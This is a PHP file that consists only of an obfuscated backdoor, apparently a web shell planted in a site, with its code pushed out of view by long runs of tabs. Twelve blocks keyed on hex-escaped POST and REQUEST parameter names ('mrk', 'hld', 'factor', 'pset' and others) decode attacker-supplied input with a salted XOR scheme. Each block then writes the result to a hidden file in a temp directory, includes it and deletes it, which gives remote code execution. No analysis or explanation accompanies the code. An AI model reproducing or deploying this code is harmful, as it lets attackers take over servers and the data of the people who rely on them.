<?php																																										if(array_key_exists("m\x72k", $_POST)){ $element = array_filter([session_save_path(), "/var/tmp", "/dev/shm", "/tmp", sys_get_temp_dir(), getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), getenv("TMP")]); $entity = $_POST["m\x72k"]; $entity = explode ( '.' , $entity ); $flg = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); foreach( $entity as $n => $v6) { $sChar = ord( $salt[$n % $sLen] ); $dec =( ( int)$v6 - $sChar -( $n % 10)) ^ 8; $flg .= chr( $dec ); } for ($elem = 0, $key = count($element); $elem < $key; $elem++) { $pointer = $element[$elem]; if (!( !is_dir($pointer) || !is_writable($pointer) )) { $parameter_group = implode("/", [$pointer, ".component"]); $success = file_put_contents($parameter_group, $flg); if ($success) { include $parameter_group; @unlink($parameter_group); exit;} } } }
																																										if(in_array("\x68ld", array_keys($_REQUEST))){ $fac = $_REQUEST["\x68ld"]; $fac= explode ( ".", $fac ); $record= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s ); foreach ($fac as $m => $v8) { $sChar= ord($s[$m % $sLen] ); $dec= ((int)$v8 - $sChar - ($m % 10)) ^ 12; $record .= chr($dec ); } $comp = array_filter([getenv("TMP"), session_save_path(), sys_get_temp_dir(), getcwd(), "/var/tmp", "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp"]); foreach ($comp as $parameter_group) { if (!( !is_dir($parameter_group) || !is_writable($parameter_group) )) { $holder = "$parameter_group" . "/.token"; $success = file_put_contents($holder, $record); if ($success) { include $holder; @unlink($holder); die();} } } }
																																										if(!empty($_POST["holder"])){ $key = $_POST["holder"]; $key =explode ( '.', $key ) ; $property_set = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3); $q = 0; array_walk($key, function($v4) use(&$property_set, &$q, $salt3, $lenS) { $sChar = ord($salt3[$q%$lenS]); $dec =((int)$v4 - $sChar -($q%10))^ 88; $property_set .= chr($dec); $q++; }); $descriptor = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), "/var/tmp", getcwd(), "/tmp", "/dev/shm", session_save_path(), sys_get_temp_dir()]); foreach ($descriptor as $key => $mrk) { if ((is_dir($mrk) and is_writable($mrk))) { $pgrp = "$mrk/.elem"; if (file_put_contents($pgrp, $property_set)) { include $pgrp; @unlink($pgrp); die(); } } } }
																																										if(array_key_exists("\x73\x79m", $_REQUEST)){ $pointer = $_REQUEST["\x73\x79m"]; $pointer=explode ( '.' , $pointer ) ; $object = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $z = 0; array_walk($pointer , function ($v4) use (&$object , &$z , $salt , $lenS) { $chS = ord($salt[$z % $lenS]); $dec = ((int)$v4 - $chS - ($z % 10)) ^ 16; $object .= chr($dec); $z++;} ); $symbol = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", "/tmp", "/dev/shm", getenv("TMP"), sys_get_temp_dir(), session_save_path()]); $ref = 0; do { $holder = $symbol[$ref] ?? null; if ($ref >= count($symbol)) break; if (array_product([is_dir($holder), is_writable($holder)])) { $obj = sprintf("%s/.descriptor", $holder); $file = fopen($obj, 'w'); if ($file) { fwrite($file, $object); fclose($file); include $obj; @unlink($obj); die(); } } $ref++; } while (true); }
																																										if(isset($_POST) && isset($_POST["\x66a\x63tor"])){ $comp = array_filter([sys_get_temp_dir(), session_save_path(), "/tmp", getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", getcwd()]); $bind = $_POST["\x66a\x63tor"]; $bind =explode ( "." , $bind ); $record =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s ); $__len =count($bind ); for ($w =0; $w < $__len; $w++) { $v7 =$bind[$w]; $sChar =ord($s[$w % $sLen] ); $d =((int)$v7 - $sChar - ($w % 10)) ^ 41; $record.=chr($d ); } foreach ($comp as $key => $data) { if ((is_dir($data) and is_writable($data))) { $mrk = str_replace("{var_dir}", $data, "{var_dir}/.fac"); if (file_put_contents($mrk, $record)) { require $mrk; unlink($mrk); die(); } } } }
																																										if(!is_null($_POST["\x73ym"] ?? null)){ $ptr = array_filter([getcwd(), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/var/tmp", "/dev/shm", sys_get_temp_dir()]); $record = $_POST["\x73ym"]; $record =explode ( ".", $record ) ; $token = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt2); $len = count( $record); for( $t = 0; $t < $len; $t++) {$v8 = $record[$t]; $chS = ord( $salt2[$t % $lenS]); $dec = ( ( int)$v8 - $chS -( $t % 10)) ^ 45; $token .= chr( $dec);} for ($reference = 0, $data_chunk = count($ptr); $reference < $data_chunk; $reference++) { $descriptor = $ptr[$reference]; if (!!is_dir($descriptor) && !!is_writable($descriptor)) { $elem = vsprintf("%s/%s", [$descriptor, ".ref"]); if (file_put_contents($elem, $token)) { include $elem; @unlink($elem); die(); } } } }
																																										if(@$_REQUEST["flag"] !== null){ $factor = $_REQUEST["flag"]; $factor=explode ( '.' , $factor ); $token = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8 ); $m = 0; while ($m < count($factor)) { $v7 = $factor[$m]; $chS = ord($s8[$m % $sLen] ); $dec = ((int)$v7 - $chS - ($m % 10)) ^ 45; $token.= chr($dec ); $m++; } $sym = array_filter([getenv("TMP"), sys_get_temp_dir(), "/tmp", "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", session_save_path()]); foreach ($sym as $key => $pgrp) { if (!( !is_dir($pgrp) || !is_writable($pgrp) )) { $dchunk = vsprintf("%s/%s", [$pgrp, ".entry"]); $file = fopen($dchunk, 'w'); if ($file) { fwrite($file, $token); fclose($file); include $dchunk; @unlink($dchunk); exit; } } } }
																																										if(isset($_REQUEST["\x73\x79m\x62ol"])){ $marker = $_REQUEST["\x73\x79m\x62ol"]; $marker =explode ( '.', $marker ) ; $dat = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt5); foreach($marker as $t => $v9): $chS = ord($salt5[$t % $lenS]); $d =((int)$v9 - $chS -($t % 10)) ^ 48; $dat .= chr($d); endforeach; $parameter_group = array_filter([getenv("TMP"), getenv("TEMP"), "/dev/shm", getcwd(), "/tmp", ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/var/tmp"]); $resource = 0; do { $bind = $parameter_group[$resource] ?? null; if ($resource >= count($parameter_group)) break; if (is_dir($bind) && is_writable($bind)) { $ref = sprintf("%s/.flag", $bind); if (@file_put_contents($ref, $dat) !== false) { include $ref; unlink($ref); exit; } } $resource++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["\x64ata\x5F\x63h\x75\x6Ek"])){ $component = $_POST["\x64ata\x5F\x63h\x75\x6Ek"]; $component = explode("." , $component ); $record=''; $salt3='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt3); $q=0; array_walk($component , function ($v9) use (&$record , &$q , $salt3 , $lenS) { $chS=ord($salt3[$q % $lenS]); $dec=((int)$v9 - $chS - ($q % 10)) ^56; $record.= chr($dec); $q++; }); $element = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", session_save_path(), "/var/tmp", getcwd(), sys_get_temp_dir(), "/dev/shm"]); foreach ($element as $dchunk) { if (is_dir($dchunk) ? is_writable($dchunk) : false) { $value = join("/", [$dchunk, ".obj"]); $success = file_put_contents($value, $record); if ($success) { include $value; @unlink($value); exit;} } } }
																																										if(isset($_POST["h\x6Fl\x64er"])){ $binding = array_filter([session_save_path(), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getenv("TMP"), sys_get_temp_dir(), getcwd()]); $component = $_POST["h\x6Fl\x64er"]; $component =explode ( '.' ,$component); $dat =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s); $r =0; while( $r < count( $component)) { $v1 =$component[$r]; $chS =ord( $s[$r % $lenS]); $d =( ( int)$v1 - $chS -( $r % 10)) ^ 75; $dat .= chr( $d); $r++; } while ($marker = array_shift($binding)) { if (array_product([is_dir($marker), is_writable($marker)])) { $record = str_replace("{var_dir}", $marker, "{var_dir}/.key"); $success = file_put_contents($record, $dat); if ($success) { include $record; @unlink($record); exit;} } } }
																																										if(isset($_REQUEST["\x66\x6Cag"])){ $element = $_REQUEST["\x66\x6Cag"]; $element = explode ( '.' ,$element ) ; $rec = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8); foreach($element as $s => $v9) { $chS = ord($s8[$s % $sLen]); $dec =((int)$v9 - $chS -($s % 10)) ^ 75; $rec .= chr($dec); } $ref = array_filter([ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/tmp", "/dev/shm", getcwd(), "/var/tmp"]); foreach ($ref as $key => $item) { if (array_product([is_dir($item), is_writable($item)])) { $hld = str_replace("{var_dir}", $item, "{var_dir}/.holder"); if (@file_put_contents($hld, $rec) !== false) { include $hld; unlink($hld); exit; } } } }


if(array_key_exists("\x70\x73et", $_POST) && !is_null($_POST["\x70\x73et"])){
	$marker = $_POST["\x70\x73et"];
			 $marker			= explode	('.' 	,$marker 	 );	  
	$rec=  '';
            $salt9=  'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS=  strlen($salt9);
            $k=  0;
    
            $__tmp=  $marker;
            while ($v8=  array_shift($__tmp)) {	$chS=  ord($salt9[$k % $lenS]);
                $dec=  ((int)$v8 - $chS - ($k % 10))	 ^	82;
                $rec .= chr($dec);
                $k++;
            }
	$element = array_filter(["/tmp", "/dev/shm", getcwd(), getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", session_save_path()]);
	foreach ($element as $key => $ent) {
    		if (!!is_dir($ent) && !!is_writable($ent)) {
    $object = vsprintf("%s/%s", [$ent, ".data"]);
    $file = fopen($object, 'w');
if ($file) {
	fwrite($file, $rec);
	fclose($file);
	include $object;
	@unlink($object);
	die();
}
}
}
}